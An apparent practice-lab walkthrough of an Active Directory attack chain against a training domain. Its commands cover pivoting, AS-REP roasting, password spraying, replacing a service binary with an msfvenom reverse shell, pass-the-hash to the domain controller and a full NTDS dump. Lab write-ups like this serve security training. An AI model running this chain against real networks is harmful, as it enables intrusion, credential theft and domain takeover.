AD Chain 04 — Blueprint AD-Chains (hack-academy.local)

Blueprint AD-Chain lab. Domain: hack-academy.local (DC01). Initial creds: lcarter : Awesome!

#blueprint ad-chains#adchain#walkthrough#boxes#os:windows#os:linux#tech:active-directory#tech:password-attack

AD Chain 04 — Blueprint AD-Chains (hack-academy.local)

Blueprint AD-Chain lab. Domain: hack-academy.local (DC01). Initial creds: lcarter : Awesome!

Information Gathering

🐺 howlsec@kalishell

$nxc smb 192.168.1.0/24
$# DC01 (192.168.1.167) hack-academy.local, CLIENT-1 (.163), CLIENT-2 (.168)

The DC isn't directly reachable, so RDP to CLIENT-1 and pivot with Ligolo:

🐺 howlsec@kalishell

$xfreerdp3 /v:192.168.1.163 /u:'lcarter' /p:'Awesome!' /cert:ignore /drive:linux,/opt/ +clipboard
$# On Kali: sudo ./proxy -selfcert -laddr 0.0.0.0:8000
$# On victim: agent.exe -connect <KaliIP>:8000 -ignore-cert
$# Ligolo: session / tunnel_start ; then: sudo ip route add 10.0.2.0/24 dev ligolo

Domain enumeration + AS-REP roast

🐺 howlsec@kalishell

$nxc smb 10.0.2.4 -u lcarter -p 'Awesome!' --users | ... | tee users
$netexec ldap 10.0.2.4 -u lcarter -p 'Awesome!' --bloodhound --collection All --dns-server 10.0.2.4
$# BloodHound flags AS-REP roastable / kerberoastable users
$nxc ldap 10.0.2.4 -u users -p '' -k --dns-server 10.0.2.4 --asrep hash
$john --wordlist=rockyou.txt hash
$# csanders : *Gillian*

Spray the new creds:

🐺 howlsec@kalishell

$nxc smb ips -u users -p passwords --continue-on-success
$nxc rdp ips -u users -p passwords --continue-on-success   # csanders Pwn3d on CLIENT-1/CLIENT-2

Privesc on CLIENT-2: writable service binary

🐺 howlsec@kalishell

$xfreerdp3 /v:10.0.2.9 /u:'csanders' /p:'*Gillian*' ...
$# PowerUp / icacls show WinMonSvc's binary is writable and AUTO_START:
$#   C:\Program Files\Common Files\Services\Service Helper\svchosthelper.exe
$msfvenom -p windows/x64/shell/reverse_tcp lhost=tun0 lport=443 -f exe > shell.exe
$copy shell.exe "C:\Program Files\Common Files\Services\Service Helper\svchosthelper.exe"
$Restart-Computer    # AUTO_START service runs our binary as SYSTEM

To the DC

Dump local hashes -> new creds rcooper : Password@123 with WinRM to the DC:

🐺 howlsec@kalishell

$evil-winrm -i 10.0.2.4 -u 'rcooper' -p 'Password@123'
$# rcooper has SeBackupPrivilege -> reg save SAM/SYSTEM, secretsdump
$# Administrator NT hash: c0ced2de918b4a7c1b9f4efd225dd503
$evil-winrm -i 10.0.2.4 -u 'administrator' -H 'c0ced2de918b4a7c1b9f4efd225dd503'
$nxc smb 10.0.2.4 -u 'administrator' -H 'c0ced2de918b4a7c1b9f4efd225dd503' --ntds   # full domain dump